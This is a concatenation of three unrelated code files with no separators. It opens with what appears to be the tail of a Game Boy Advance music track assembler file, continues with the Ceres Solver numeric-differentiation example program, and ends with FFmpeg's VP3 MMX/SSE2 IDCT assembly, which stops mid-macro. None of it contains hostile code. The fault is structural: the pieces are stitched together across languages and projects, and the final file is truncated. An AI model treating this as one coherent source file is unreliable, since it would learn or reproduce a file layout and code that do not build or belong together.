;**************** Track 4 (Midi-Chn.5) ****************; @song050restored_4: .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v-64 .byte VOL , 54*song050restored_mvl/mxv .byte 54*song050restored_mvl/mxv .byte 76*song050restored_mvl/mxv .byte PAN , c_v-7 .byte c_v-7 .byte VOL , 76*song050restored_mvl/mxv .byte 76*song050restored_mvl/mxv .byte PAN , c_v-7 .byte c_v-7 .byte VOL , 76*song050restored_mvl/mxv .byte BEND , c_v+0 .byte W32 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v-1 .byte TIE , Gn0 , v100 .byte W64 ; 001 ---------------------------------------- .byte W96 ; 002 ---------------------------------------- .byte W68 .byte W03 .byte EOT .byte W03 .byte BEND , c_v+0 .byte TIE , An0 .byte W22 ; 003 ---------------------------------------- .byte W92 .byte EOT .byte W03 .byte BEND , c_v-1 .byte TIE , Gn0 .byte W01 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W96 ; 006 ---------------------------------------- .byte W36 .byte W02 .byte EOT .byte W04 .byte BEND , c_v+0 .byte N84 , An0 .byte W54 ; 007 ---------------------------------------- .byte W32 .byte W02 .byte VOICE , 36 .byte VOL , 76*song050restored_mvl/mxv .byte PAN , c_v-7 .byte VOL , 54*song050restored_mvl/mxv .byte 54*song050restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song050restored_4 ;**************** Track 5 (Midi-Chn.6) ****************; @song050restored_5: .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v-18 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte VOL , 54*song050restored_mvl/mxv .byte 73*song050restored_mvl/mxv .byte PAN , c_v-21 .byte c_v-21 .byte VOL , 73*song050restored_mvl/mxv .byte 73*song050restored_mvl/mxv .byte PAN , c_v-21 .byte c_v-21 .byte VOL , 73*song050restored_mvl/mxv .byte BEND , c_v+0 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+0 .byte TIE , Cs0 , v100 .byte W56 .byte W02 .byte VOL , 47*song050restored_mvl/mxv .byte W32 .byte W03 ; 001 ---------------------------------------- .byte W15 .byte 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte W06 .byte EOT .byte W03 .byte TIE .byte W56 .byte W02 .byte VOL , 63*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte W11 ; 002 ---------------------------------------- .byte W42 .byte EOT .byte W03 .byte TIE .byte W36 .byte W02 .byte VOL , 63*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte W10 ; 003 ---------------------------------------- .byte W56 .byte W02 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v-64 .byte W05 .byte EOT .byte W03 .byte TIE .byte W30 ; 004 ---------------------------------------- .byte W12 .byte VOL , 54*song050restored_mvl/mxv .byte W72 .byte EOT .byte W03 .byte TIE .byte W09 ; 005 ---------------------------------------- .byte W48 .byte W02 .byte VOL , 47*song050restored_mvl/mxv .byte W44 .byte W02 ; 006 ---------------------------------------- .byte W04 .byte 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte W66 .byte W01 .byte VOL , 63*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte W22 ; 007 ---------------------------------------- .byte W30 .byte EOT .byte W04 .byte VOICE , 36 .byte VOL , 73*song050restored_mvl/mxv .byte PAN , c_v-21 .byte c_v+27 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte VOL , 54*song050restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song050restored_5 ;**************** Track 6 (Midi-Chn.3) ****************; @song050restored_6: .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v-64 .byte VOL , 0*song050restored_mvl/mxv .byte 73*song050restored_mvl/mxv .byte PAN , c_v+0 .byte c_v+0 .byte VOL , 73*song050restored_mvl/mxv .byte 73*song050restored_mvl/mxv .byte PAN , c_v+0 .byte c_v+0 .byte VOL , 73*song050restored_mvl/mxv .byte BEND , c_v+0 .byte W03 .byte VOL , 28*song050restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+0 .byte N10 , Dn4 , v100 .byte W14 .byte N10 .byte W28 .byte W01 .byte VOL , 27*song050restored_mvl/mxv .byte N11 .byte W01 .byte VOL , 26*song050restored_mvl/mxv .byte W01 .byte 25*song050restored_mvl/mxv .byte W01 .byte 24*song050restored_mvl/mxv .byte W01 .byte 24*song050restored_mvl/mxv .byte W01 .byte 23*song050restored_mvl/mxv .byte W01 .byte 22*song050restored_mvl/mxv .byte W01 .byte 21*song050restored_mvl/mxv .byte W01 .byte 20*song050restored_mvl/mxv .byte W01 .byte 19*song050restored_mvl/mxv .byte W01 .byte 18*song050restored_mvl/mxv .byte W01 .byte 17*song050restored_mvl/mxv .byte W01 .byte 16*song050restored_mvl/mxv .byte W01 .byte 15*song050restored_mvl/mxv .byte W01 .byte 14*song050restored_mvl/mxv .byte W01 .byte 13*song050restored_mvl/mxv .byte N10 .byte W01 .byte VOL , 12*song050restored_mvl/mxv .byte W01 .byte 12*song050restored_mvl/mxv .byte W01 .byte 11*song050restored_mvl/mxv .byte W01 .byte 10*song050restored_mvl/mxv .byte W01 .byte 9*song050restored_mvl/mxv .byte W01 .byte 8*song050restored_mvl/mxv .byte W01 .byte 7*song050restored_mvl/mxv .byte W01 .byte 6*song050restored_mvl/mxv .byte W01 .byte 5*song050restored_mvl/mxv .byte W01 .byte 4*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 2*song050restored_mvl/mxv .byte W01 .byte 1*song050restored_mvl/mxv .byte W01 .byte 0*song050restored_mvl/mxv .byte W01 .byte 0*song050restored_mvl/mxv .byte W14 .byte N10 .byte W06 ; 001 ---------------------------------------- .byte W09 .byte N10 .byte W84 .byte W03 ; 002 ---------------------------------------- .byte W96 ; 003 ---------------------------------------- .byte W42 .byte VOL , 27*song050restored_mvl/mxv .byte W24 .byte N10 .byte W15 .byte N10 .byte W15 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W96 ; 006 ---------------------------------------- .byte W96 ; 007 ---------------------------------------- .byte W32 .byte W02 .byte VOICE , 36 .byte VOL , 73*song050restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 27*song050restored_mvl/mxv .byte 27*song050restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song050restored_6 ;**************** Track 7 (Midi-Chn.7) ****************; @song050restored_7: .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v-64 .byte VOL , 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte BEND , c_v+0 .byte W01 .byte VOL , 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+0 .byte N11 , Dn4 , v100 .byte W01 .byte VOL , 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W01 .byte 3*song050restored_mvl/mxv .byte W11 .byte N11 .byte W28 .byte W01 .byte N11 .byte W15 .byte N10 .byte W24 .byte W01 ; 001 ---------------------------------------- .byte W04 .byte N11 .byte W15 .byte N10 .byte W76 .byte W01 ; 002 ---------------------------------------- .byte W96 ; 003 ---------------------------------------- .byte W76 .byte N11 .byte W15 .byte N10 .byte W05 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W96 ; 006 ---------------------------------------- .byte W96 ; 007 ---------------------------------------- .byte W32 .byte W02 .byte VOICE , 36 .byte VOL , 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte 3*song050restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song050restored_7 ;******************************************************; .align 4 song050restored: .byte 7 ; NumTrks .byte 0 ; NumBlks .byte song050restored_pri ; Priority .byte song050restored_rev ; Reverb. //emit_clean_voicegroup_offset_for_song 50 .word 0x810B030 //Voice Table .word @song050restored_1 .word @song050restored_2 .word @song050restored_3 .word @song050restored_4 .word @song050restored_5 .word @song050restored_6 .word @song050restored_7
// Ceres Solver - A fast non-linear least squares minimizer // Copyright 2015 Google Inc. All rights reserved. // http://ceres-solver.org/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of Google Inc. nor the names of its contributors may be // used to endorse or promote products derived from this software without // specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. // // Author: keir@google.com (Keir Mierle) // // Minimize 0.5 (10 - x)^2 using jacobian matrix computed using // numeric differentiation. #include "ceres/ceres.h" #include "glog/logging.h" using ceres::NumericDiffCostFunction; using ceres::CENTRAL; using ceres::CostFunction; using ceres::Problem; using ceres::Solver; using ceres::Solve; // A cost functor that implements the residual r = 10 - x. struct CostFunctor { bool operator()(const double* const x, double* residual) const { residual[0] = 10.0 - x[0]; return true; } }; int main(int argc, char** argv) { google::InitGoogleLogging(argv[0]); // The variable to solve for with its initial value. It will be // mutated in place by the solver. double x = 0.5; const double initial_x = x; // Build the problem. Problem problem; // Set up the only cost function (also known as residual). This uses // numeric differentiation to obtain the derivative (jacobian). CostFunction* cost_function = new NumericDiffCostFunction<CostFunctor, CENTRAL, 1, 1> (new CostFunctor); problem.AddResidualBlock(cost_function, NULL, &x); // Run the solver! Solver::Options options; options.minimizer_progress_to_stdout = true; Solver::Summary summary; Solve(options, &problem, &summary); std::cout << summary.BriefReport() << "\n"; std::cout << "x : " << initial_x << " -> " << x << "\n"; return 0; }
;****************************************************************************** ;* MMX/SSE2-optimized functions for the VP3 decoder ;* Copyright (c) 2007 Aurelien Jacobs <aurel@gnuage.org> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86inc.asm" %include "libavutil/x86/x86util.asm" ; MMX-optimized functions cribbed from the original VP3 source code. SECTION_RODATA vp3_idct_data: times 8 dw 64277 times 8 dw 60547 times 8 dw 54491 times 8 dw 46341 times 8 dw 36410 times 8 dw 25080 times 8 dw 12785 cextern pb_1 cextern pb_3 cextern pb_7 cextern pb_1F cextern pb_81 cextern pw_8 cextern put_signed_pixels_clamped_mmx cextern add_pixels_clamped_mmx SECTION .text ; this is off by one or two for some cases when filter_limit is greater than 63 ; in: p0 in mm6, p1 in mm4, p2 in mm2, p3 in mm1 ; out: p1 in mm4, p2 in mm3 %macro VP3_LOOP_FILTER 0 movq m7, m6 pand m6, [pb_7] ; p0&7 psrlw m7, 3 pand m7, [pb_1F] ; p0>>3 movq m3, m2 ; p2 pxor m2, m4 pand m2, [pb_1] ; (p2^p1)&1 movq m5, m2 paddb m2, m2 paddb m2, m5 ; 3*(p2^p1)&1 paddb m2, m6 ; extra bits lost in shifts pcmpeqb m0, m0 pxor m1, m0 ; 255 - p3 pavgb m1, m2 ; (256 - p3 + extrabits) >> 1 pxor m0, m4 ; 255 - p1 pavgb m0, m3 ; (256 + p2-p1) >> 1 paddb m1, [pb_3] pavgb m1, m0 ; 128+2+( p2-p1 - p3) >> 2 pavgb m1, m0 ; 128+1+(3*(p2-p1) - p3) >> 3 paddusb m7, m1 ; d+128+1 movq m6, [pb_81] psubusb m6, m7 psubusb m7, [pb_81] movq m5, [r2+516] ; flim pminub m6, m5 pminub m7, m5 movq m0, m6 movq m1, m7 paddb m6, m6 paddb m7, m7 pminub m6, m5 pminub m7, m5 psubb m6, m0 psubb m7, m1 paddusb m4, m7 psubusb m4, m6 psubusb m3, m7 paddusb m3, m6 %endmacro %macro STORE_4_WORDS 1 movd r2d, %1 mov [r0 -1], r2w psrlq %1, 32 shr r2, 16 mov [r0+r1 -1], r2w movd r2d, %1 mov [r0+r1*2-1], r2w shr r2, 16 mov [r0+r3 -1], r2w %endmacro INIT_MMX cglobal vp3_v_loop_filter_mmx2, 3, 4 %ifdef ARCH_X86_64 movsxd r1, r1d %endif mov r3, r1 neg r1 movq m6, [r0+r1*2] movq m4, [r0+r1 ] movq m2, [r0 ] movq m1, [r0+r3 ] VP3_LOOP_FILTER movq [r0+r1], m4 movq [r0 ], m3 RET cglobal vp3_h_loop_filter_mmx2, 3, 4 %ifdef ARCH_X86_64 movsxd r1, r1d %endif lea r3, [r1*3] movd m6, [r0 -2] movd m4, [r0+r1 -2] movd m2, [r0+r1*2-2] movd m1, [r0+r3 -2] lea r0, [r0+r1*4 ] punpcklbw m6, [r0 -2] punpcklbw m4, [r0+r1 -2] punpcklbw m2, [r0+r1*2-2] punpcklbw m1, [r0+r3 -2] sub r0, r3 sub r0, r1 TRANSPOSE4x4B 6, 4, 2, 1, 0 VP3_LOOP_FILTER SBUTTERFLY bw, 4, 3, 5 STORE_4_WORDS m4 lea r0, [r0+r1*4 ] STORE_4_WORDS m3 RET ; from original comments: The Macro does IDct on 4 1-D Dcts %macro BeginIDCT 0 movq m2, I(3) movq m6, C(3) movq m4, m2 movq m7, J(5) pmulhw m4, m6 ; r4 = c3*i3 - i3 movq m1, C(5) pmulhw m6, m7 ; r6 = c3*i5 - i5 movq m5, m1 pmulhw m1, m2 ; r1 = c5*i3 - i3 movq m3, I(1) pmulhw m5, m7 ; r5 = c5*i5 - i5 movq m0, C(1) paddw m4, m2 ; r4 = c3*i3 paddw m6, m7 ; r6 = c3*i5 paddw m2, m1 ; r2 = c5*i3 movq m1, J(7) paddw m7, m5 ; r7 = c5*i5 movq m5, m0 ; r5 = c1 pmulhw m0, m3 ; r0 = c1*i1 - i1 paddsw m4, m7 ; r4 = C = c3*i3 + c5*i5 pmulhw m5, m1 ; r5 = c1*i7 - i7 movq m7, C(7) psubsw m6, m2 ; r6 = D = c3*i5 - c5*i3 paddw m0, m3 ; r0 = c1*i1 pmulhw m3, m7 ; r3 = c7*i1 movq m2, I(2) pmulhw m7, m1 ; r7 = c7*i7 paddw m5, m1 ; r5 = c1*i7 movq m1, m2 ; r1 = i2 pmulhw m2, C(2) ; r2 = c2*i2 - i2 psubsw m3, m5 ; r3 = B = c7*i1 - c1*i7 movq m5, J(6) paddsw m0, m7 ; r0 = A = c1*i1 + c7*i7 movq m7, m5 ; r7 = i6 psubsw m0, m4 ; r0 = A - C pmulhw m5, C(2) ; r5 = c2*i6 - i6 paddw m2, m1 ; r2 = c2*i2 pmulhw m1, C(6) ; r1 = c6*i2 paddsw m4, m4 ; r4 = C + C paddsw m4, m0 ; r4 = C. = A + C psubsw m3, m6 ; r3 = B - D paddw m5, m7 ; r5 = c2*i6 paddsw m6, m6 ; r6 = D + D pmulhw m7, C(6) ; r7 = c6*i6 paddsw m6, m3 ; r6 = D. = B + D movq I(1), m4 ; save C. at I(1) psubsw m1, m5 ; r1 = H = c6*i2 - c2*i6 movq m4, C(4) movq m5, m3 ; r5 = B - D pmulhw m3, m4 ; r3 = (c4 - 1) * (B - D) paddsw m7, m2 ; r3 = (c4 - 1) * (B - D) movq I(2), m6 ; save D. at I(2) movq m2, m0 ; r2 = A - C movq m6, I(0) pmulhw m0, m4 ; r0 = (c4 - 1) * (A - C) paddw m5, m3 ; r5 = B. = c4 * (B - D) movq m3, J(4) psubsw m5, m1 ; r5 = B.. = B. - H paddw m2, m0 ; r0 = A. = c4 * (A - C) psubsw m6, m3 ; r6 = i0 - i4 movq m0, m6 pmulhw m6, m4 ; r6 = (c4 - 1) * (i0 - i4) paddsw m3, m3 ; r3 = i4 + i4 paddsw m1, m1 ; r1 = H + H paddsw m3, m0 ; r3 = i0 + i4 paddsw m1, m5 ; r1 = H. = B + H pmulhw m4, m3 ; r4 = (c4 - 1) * (i0 + i4) paddsw m6, m0 ; r6 = F = c4 * (i0 - i4) psubsw m6, m2 ; r6 = F. = F - A. paddsw m2, m2 ; r2 = A. + A. movq m0, I(1) ; r0 = C. paddsw m2, m6 ; r2 = A.. = F + A. paddw m4, m3 ; r4 = E = c4 * (i0 + i4) psubsw m2, m1 ; r2 = R2 = A.. - H. %endmacro ; RowIDCT gets ready to transpose %macro RowIDCT 0 BeginIDCT movq m3, I(2) ; r3 = D. psubsw m4, m7 ; r4 = E. = E - G paddsw m1, m1 ; r1 = H. + H. paddsw m7, m7 ; r7 = G + G paddsw m1, m2 ; r1 = R1 = A.. + H. paddsw m7, m4 ; r1 = R1 = A.. + H. psubsw m4, m3 ; r4 = R4 = E. - D. paddsw m3, m3 psubsw m6, m5 ; r6 = R6 = F. - B.. paddsw m5, m5 paddsw m3, m4 ; r3 = R3 = E. + D. paddsw m5, m6 ; r5 = R5 = F. + B.. psubsw m7, m0 ; r7 = R7 = G. - C. paddsw m0, m0 movq I(1), m1 ; save R1 paddsw m0, m7 ; r0 = R0 = G. + C. %endmacro ; Column IDCT normalizes and stores final results %macro ColumnIDCT 0 BeginIDCT paddsw m2, OC_8 ; adjust R2 (and R1) for shift paddsw m1, m1 ; r1 = H. + H. paddsw m1, m2 ; r1 = R1 = A.. + H. psraw m2, 4 ; r2 = NR2 psubsw m4, m7 ; r4 = E. = E - G psraw m1, 4 ; r1 = NR2 movq m3, I(2) ; r3 = D. paddsw m7, m7 ; r7 = G + G movq I(2), m2 ; store NR2 at I2 paddsw m7, m4 ; r7 = G. = E + G movq I(1), m1 ; store NR1 at I1 psubsw m4, m3 ; r4 = R4 = E. - D. paddsw m4, OC_8 ; adjust R4 (and R3) for shift paddsw m3, m3 ; r3 = D. + D. paddsw m3, m4 ; r3 = R3 = E. + D. psraw m4, 4 ; r4 = NR4 psubsw m6, m5 ; r6 = R6 = F. - B.. psraw m3, 4 ; r3 = NR3 paddsw m6, OC_8 ; adjust R6 (and R5) for shift paddsw m5, m5 ; r5 = B.. + B.. paddsw m5, m6 ; r5 = R5 = F. + B.. psraw m6, 4 ; r6 = NR6 movq J(4), m4 ; store NR4 at J4 psraw m5, 4 ; r5 = NR5 movq I(3), m3 ; store NR3 at I3 psubsw m7, m0 ; r7 = R7 = G. - C. paddsw m7, OC_8 ; adjust R7 (and R0) for shift paddsw m0, m0 ; r0 = C. + C. paddsw m0, m7 ; r0 = R0 = G. + C. psraw m7, 4 ; r7 = NR7 movq J(6), m6 ; store NR6 at J6 psraw m0, 4 ; r0 = NR0 movq J(5), m5 ; store NR5 at J5 movq J(7), m7 ; store NR7 at J7 movq I(0), m0 ; store NR0 at I0 %endmacro ; Following macro does two 4x4 transposes in place. ; ; At entry (we assume): ; ; r0 = a3 a2 a1 a0 ; I(1) = b3 b2 b1 b0 ; r2 = c3 c2 c1 c0 ; r3 = d3 d2 d1 d0 ; ; r4 = e3 e2 e1 e0 ; r5 = f3 f2 f1 f0 ; r6 = g3 g2 g1 g0 ; r7 = h3 h2 h1 h0 ; ; At exit, we have: ; ; I(0) = d0 c0 b0 a0 ; I(1) = d1 c1 b1 a1 ; I(2) = d2 c2 b2 a2 ; I(3) = d3 c3 b3 a3 ; ; J(4) = h0 g0 f0 e0 ; J(5) = h1 g1 f1 e1 ; J(6) = h2 g2 f2 e2 ; J(7) = h3 g3 f3 e3 ; ; I(0) I(1) I(2) I(3) is the transpose of r0 I(1) r2 r3. ; J(4) J(5) J(6) J(7) is the transpose of r4 r5 r6 r7. ; ; Since r1 is free at entry, we calculate the Js first. %macro Transpose 0 movq m1, m4 ; r1 = e3 e2 e1 e0 punpcklwd m4, m5 ; r4 = f1 e1 f0 e0 movq I(0), m0 ; save a3 a2 a1 a0 punpckhwd m1, m5 ; r1 = f3 e3 f2 e2 movq m0, m6 ; r0 = g3 g2 g1 g0 punpcklwd m6, m7 ; r6 = h1 g1 h0 g0 movq m5, m4 ; r5 = f1 e1 f0 e0 punpckldq m4, m6 ; r4 = h0 g0 f0 e0 = R4 punpckhdq m5, m6 ; r5 = h1 g1 f1 e1 = R5 movq m6, m1 ; r6 = f3 e3 f2 e2 movq J(4), m4 punpckhwd m0, m7 ; r0 = h3 g3 h2 g2 movq J(5), m5 punpckhdq m6, m0 ; r6 = h3 g3 f3 e3 = R7 movq m4, I(0) ; r4 = a3 a2 a1 a0 punpckldq m1, m0 ; r1 = h2 g2 f2 e2 = R6 movq m5, I(1) ; r5 = b3 b2 b1 b0 movq m0, m4 ; r0 = a3 a2 a1 a0 movq J(7), m6 punpcklwd m0, m5 ; r0 = b1 a1 b0 a0 movq J(6), m1 punpckhwd m4, m5 ; r4 = b3 a3 b2 a2 movq m5, m2 ; r5 = c3 c2 c1 c0 punpcklwd m2, m3 ; r2 = d1 c1 d0 c0 movq m1, m0 ; r1 = b1 a1 b0 a0 punpckldq m0, m2 ; r0 = d0 c0 b0 a0 = R0 punpckhdq m1, m2 ; r1 = d1 c1 b1 a1 = R1 movq m2, m4 ; r2 = b3 a3 b2 a2 movq I(0), m0 punpckhwd m5, m3 ; r5 = d3 c3 d2 c2 movq I(1), m1 punpckhdq m4, m5 ; r4 = d3 c3 b3 a3 = R3 punpckldq m2, m5 ; r2 = d2 c2 b2 a2 = R2 movq I(3), m4 movq I(2), m2 %endmacro %macro VP3_IDCT_mmx 1 ; eax = quantized input ; ebx = dequantizer matrix ; ecx = IDCT constants ; M(I) = ecx + MaskOffset(0) + I * 8 ; C(I) = ecx + CosineOffset(32) + (I-1) * 8 ; edx = output ; r0..r7 = mm0..mm7 %define OC_8 [pw_8] %define C(x) [vp3_idct_data+16*(x-1)] ; at this point, function has completed dequantization + dezigzag + ; partial transposition; now do the idct itself %define I(x) [%1+16* x ] %define J(x) [%1+16*(x-4)+8] RowIDCT Transpose %define I(x) [%1+16* x +64] %define J(x) [%1+16*(x-4)+72] RowIDCT Transpose %define I(x) [%1+16*x] %define J(x) [%1+16*x] ColumnIDCT %define I(x) [%1+16*x+8] %define J(x) [%1+16*x+8] ColumnIDCT %endmacro %macro VP3_1D_IDCT_SSE2 0 movdqa m2, I(3) ; xmm2 = i3 movdqa m6, C(3) ; xmm6 = c3 movdqa m4, m2 ; xmm4 = i3 movdqa m7, I(5) ; xmm7 = i5 pmulhw m4, m6 ; xmm4 = c3 * i3 - i3 movdqa m1, C(5) ; xmm1 = c5 pmulhw m6, m7 ; xmm6 = c3 * i5 - i5 movdqa m5, m1 ; xmm5 = c5 pmulhw m1, m2 ; xmm1 = c5 * i3 - i3 movdqa m3, I(1) ; xmm3 = i1 pmulhw m5, m7 ; xmm5 = c5 * i5 - i5 movdqa m0, C(1) ; xmm0 = c1 paddw m4, m2 ; xmm4 = c3 * i3 paddw m6, m7 ; xmm6 = c3 * i5 paddw m2, m1 ; xmm2 = c5 * i3 movdqa m1, I(7) ; xmm1 = i7 paddw m7, m5 ; xmm7 = c5 * i5 movdqa m5, m0 ; xmm5 = c1 pmulhw m0, m3 ; xmm0 = c1 * i1 - i1 paddsw m4, m7 ; xmm4 = c3 * i3 + c5 * i5 = C pmulhw m5, m1 ; xmm5 = c1 * i7 - i7 movdqa m7, C(7) ; xmm7 = c7 psubsw m6, m2 ; xmm6 = c3 * i5 - c5 * i3 = D paddw m0, m3 ; xmm0 = c1 * i1 pmulhw m3, m7 ; xmm3 = c7 * i1 movdqa m2, I(2) ; xmm2 = i2 pmulhw m7, m1 ; xmm7 = c7 * i7 paddw m5, m1 ; xmm5 = c1 * i7 movdqa m1, m2 ; xmm1 = i2 pmulhw m2, C(2) ; xmm2 = i2 * c2 -i2 psubsw m3, m5 ; xmm3 = c7 * i1 - c1 * i7 = B movdqa m5, I(6) ; xmm5 = i6 paddsw m0, m7 ; xmm0 = c1 * i1 + c7 * i7 = A movdqa m7, m5 ; xmm7 = i6 psubsw m0, m4 ; xmm0 = A - C pmulhw m5, C(2) ; xmm5 = c2 * i6 - i6 paddw m2, m1 ; xmm2 = i2 * c2 pmulhw m1, C(6) ; xmm1 = c6 * i2 paddsw m4, m4 ; xmm4 = C + C paddsw m4, m0 ; xmm4 = A + C = C. psubsw m3, m6 ; xmm3 = B - D paddw m5, m7 ; xmm5 = c2 * i6 paddsw m6, m6 ; xmm6 = D + D pmulhw m7, C(6) ; xmm7 = c6 * i6 paddsw m6, m3 ; xmm6 = B + D = D. movdqa I(1), m4 ; Save C. at I(1) psubsw m1, m5 ; xmm1 = c6 * i2 - c2 * i6 = H movdqa m4, C(4) ; xmm4 = C4 movdqa m5, m3 ; xmm5 = B - D pmulhw m3, m4 ; xmm3 = ( c4 -1 ) * ( B - D ) paddsw m7, m2 ; xmm7 = c2 * i2 + c6 * i6 = G movdqa I(2), m6 ; save D. at I(2) movdqa m2, m0 ; xmm2 = A - C movdqa m6, I(0) ; xmm6 = i0 pmulhw m0, m4 ; xmm0 = ( c4 - 1 ) * ( A - C ) = A. paddw m5, m3 ; xmm5 = c4 * ( B - D ) = B. movdqa m3, I(4) ; xmm3 = i4 psubsw m5, m1 ; xmm5 = B. - H = B.. paddw m2, m0 ; xmm2 = c4 * ( A - C) = A. psubsw m6, m3 ; xmm6 = i0 - i4 movdqa m0, m6 ; xmm0 = i0 - i4 pmulhw m6, m4 ; xmm6 = (c4 - 1) * (i0 - i4) = F paddsw m3, m3 ; xmm3 = i4 + i4 paddsw m1, m1 ; xmm1 = H + H paddsw m3, m0 ; xmm3 = i0 + i4 paddsw m1, m5 ; xmm1 = B. + H = H. pmulhw m4, m3 ; xmm4 = ( c4 - 1 ) * ( i0 + i4 ) paddw m6, m0 ; xmm6 = c4 * ( i0 - i4 ) psubsw m6, m2 ; xmm6 = F - A. = F. paddsw m2, m2 ; xmm2 = A. + A. movdqa m0, I(1) ; Load C. from I(1) paddsw m2, m6 ; xmm2 = F + A. = A.. paddw m4, m3 ; xmm4 = c4 * ( i0 + i4 ) = 3 psubsw m2, m1 ; xmm2 = A.. - H. = R2 ADD(m2) ; Adjust R2 and R1 before shifting paddsw m1, m1 ; xmm1 = H. + H. paddsw m1, m2 ; xmm1 = A.. + H. = R1 SHIFT(m2) ; xmm2 = op2 psubsw m4, m7 ; xmm4 = E - G = E. SHIFT(m1) ; xmm1 = op1 movdqa m3, I(2) ; Load D. from I(2) paddsw m7, m7 ; xmm7 = G + G paddsw m7, m4 ; xmm7 = E + G = G. psubsw m4, m3 ; xmm4 = E. - D. = R4 ADD(m4) ; Adjust R4 and R3 before shifting paddsw m3, m3 ; xmm3 = D. + D. paddsw m3, m4 ; xmm3 = E. + D. = R3 SHIFT(m4) ; xmm4 = op4 psubsw m6, m5 ; xmm6 = F. - B..= R6 SHIFT(m3) ; xmm3 = op3 ADD(m6) ; Adjust R6 and R5 before shifting paddsw m5, m5 ; xmm5 = B.. + B.. paddsw m5, m6 ; xmm5 = F. + B.. = R5 SHIFT(m6) ; xmm6 = op6 SHIFT(m5) ; xmm5 = op5 psubsw m7, m0 ; xmm7 = G. - C. = R7 ADD(m7) ; Adjust R7 and R0 before shifting paddsw m0, m0 ; xmm0 = C. + C. paddsw m0, m7 ; xmm0 = G. + C. SHIFT(m7) ; xmm7 = op7 SHIFT(m0) ; xmm0 = op0 %endmacro %macro PUT_BLOCK 8 movdqa O(0), m%1 movdqa O(1), m%2 movdqa O(2), m%3 movdqa O(3), m%4 movdqa O(4), m%5 